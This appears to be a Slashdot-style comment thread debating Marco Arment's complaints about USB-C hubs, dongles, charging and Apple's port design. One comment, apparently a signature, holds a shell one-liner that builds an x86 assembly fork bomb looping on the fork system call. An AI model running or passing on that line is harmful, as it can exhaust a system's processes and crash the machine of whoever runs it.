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The Impossible Dream of USB-C (marco.org)
Marco Arment, a prominent developer best known for co-founding Tumblr, explains things that are still crippling USB-C, despite being around for years and being used in mainstream products. Arment writes: While a wide variety of USB-C dongles are available, most use the same handful of unreliable, mediocre chips inside. Some USB-A dongles make Wi-Fi drop on MacBook Pros. Some USB-A devices don't work properly when adapted to USB-C, or only work in certain ports. Some devices only work when plugged directly into a laptop's precious few USB-C ports, rather than any hubs or dongles. And reliable HDMI output seems nearly impossible in practice. Very few hubs exist to add more USB-C ports, so if you have more than a few peripherals, you can't just replace all of their cables with USB-C versions. You'll need a hub that provides multiple USB-A ports instead, and you'll need to keep your USB-A cables for when you're plugged into the hub -- but also keep USB-C cables or dongles around for everything you might ever need to plug directly into the computer's ports. Hubs with additional USB-C ports might pass Thunderbolt through to them, but usually don't. Sometimes, they add a USB-C port that can only be used for power passthrough. Many hubs with power passthrough have lower wattage limits than a 13-inch or 15-inch laptop needs. Fortunately, USB-C is a great charging standard. Well, it's more of a collection of standards. USB-C devices can charge via the slow old USB rates, but for higher-powered devices or faster charging, that's not enough current.
Dude has a short memory, remember when USB stood for Unsupported Serial Bus?
https://xkcd.com/927/
The guy is basically complaining that USB-C doesn't work well on Apple products. Most of his complaints are due directly to design decisions by Apple... "laptop's precious few USB-C ports", "dongles make Wi-Fi drop on MacBook Pros", etc.
USB-C is proprietary? Since when?
1. He's absolutely right about it being a "collection of standards", where it's unclear whether a USB-C receptacle is power-only, high-power, power+data...etc. That inconsistency is hindrance to adoption, rather than flexibility.
2. There are tens of billions of items with USB-A connectors, for which even the 480mbits/sec of USB 2.0 is 'fast enough', and USB3 speeds are "definitely fast enough". Quite a number of these things are rather expensive. By contrast, there are very, very few devices that have a USB-C port for something other than charging.
3. Machines with USB-A ports tend to have a lot of them. Most standard-sized laptops have 3-5 of them, desktops have 6-10. I've yet to see a computer with USB-C provide more than two such ports. It does not help spur adoption when the number of ports available amount to "one to charge, one for the hub for all the other things".
4. Cables are expensive...except when they are inexpensive and they don't work, or outright combust.
But the really big reason I feel that USB-C hasn't gone much of anywhere is because no one really asked for it. The 12mbits/sec of USB 1.1 was quickly a bottleneck, and it was backwards compatible. The 480Mbits/sec of USB 2.0 was fast enough for plenty of things, but bulk data transfers and other tasks benefit from USB3...and both of them were backwards compatible at a physical level. USB-C is "maybe whatever you want it to be", doesn't have the same connectors, lacks real standardization beyond the connectors...and aside from the ability to flip it, from a customer's point of view it's supposed to be superior, how?
I'm sure it will increase its momentum and/or find a niche eventually, but the fact that it's going to require a painful and expensive transition period makes it the kind of thing that will take far longer than the iterations of USB that have been the standard for nearly two decades.
you missed the link https://xkcd.com/949/
I guess if you are going to make electricity dangerous, you might as well go all the way.
We have those outlets, too, here in backwards North America - but we plug the oven or clothes dryer into them.
I will say that the British have hands-down the best-designed plug for safety: sleeved conductors, ground pin opening shutters for the conductors, a fused plug, and a switch right on the outlet. Definitely a bit on the spendy side, but really well thought-out.
W..w..W - Willy Waterloo washes Warren Wiggins who is washing Waldo Woo.
Why does the fella who started Tumblr think hes suddenly part of the IEEE? We need new ports and cables to support this new fangled standard. (Duh.) Old cables are backwards compatible (score!) but dont work the same as the new (double duh!) And not to be hypocritical here by thinking my tiny slice of the world is authoritative but I use HDMI over USB-C daily.
will work for dragon quest localization
Because "Dongle" has a negative connotation of inconvenience, hassle, and dubious benefit. And that's basically what you have today with the dime and quartering morass of dongles people have to deal with now. Seems entirely fitting, IMO.
Oh so you’ve just redefined proprietary to mean something it has never meant. Gotcha.
What do you get then? A windows machine?
Yeah, great choices here.
Either get fucked with the hardware, or get fucked with the software. At least with Apple, you only get fucked once, up front. Microsoft will never stop causing you pain. You will live with the ever present fear that the next unblockable update will trash your machine.
If you remember the times before USB-A you should ALSO remember that it didn't "just work" at the outset either. Specifically I seem to remember an awful lot of different USB devices (from CD-ROM burners to special mice) that needed drivers added to work, so it was absolutely not the case you could plug in any USB-A device and it would just work...
Even today in the waning years of USB-A I have run across devices that do not just work, trying to get a working USB-A -> Serial port adaptor was a very trying experience. I have also had over the years some VERY flaky USB-A external storage devices that were very particular as to which cables they worked well with, or simply were not very stable at all.
Within just a few years most of the USB-C issues will have smoothed out. That is in large part due to Apple shipping a LOT of devices with USB-C only, meaning that there is great motivation to making a lot of components that work well with USB-C which provides a lot of financial motivation as well as making Apple kind of a reference hardware standard for testing, as in if you are shipping a USB-C device or cable today you may make sure it works with a number of Windows laptops or phones, but you WILL make sure it works with a MacBook Pro or your Amazon ratings will be in the toilet.
"There is more worth loving than we have strength to love." - Brian Jay Stanley
So rich guy with a lot of free time buys a lot of toys, and those toys do not make him happy. My heart bleeds for him, it really does.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
If he’s “frequently wrong” then why listen to him?
I said, "like anyone else, he's frequently wrong [...]". Anyone who expresses opinions frequently is frequently wrong. That's the nature of expressing opinions, particularly when you're asked to express them off-the-cuff. One of the few things I'm sure of is that I'm frequently wrong.
In his case, however, he's able to accept correction, quick to admit that he's wrong, and whether he's right or wrong or whether I agree or disagree, he does a good job of walking you through his thought process that oftentimes hits on points I wouldn't have otherwise considered. That's why I keep listening to what he has to say.
So no, I don't listen to quack medical advice, but I do listen to opinions expressed by well-informed people who are willing to put themselves out there as having an opinion on various topics, particularly controversial ones, some of which I agree with and some of which I don't.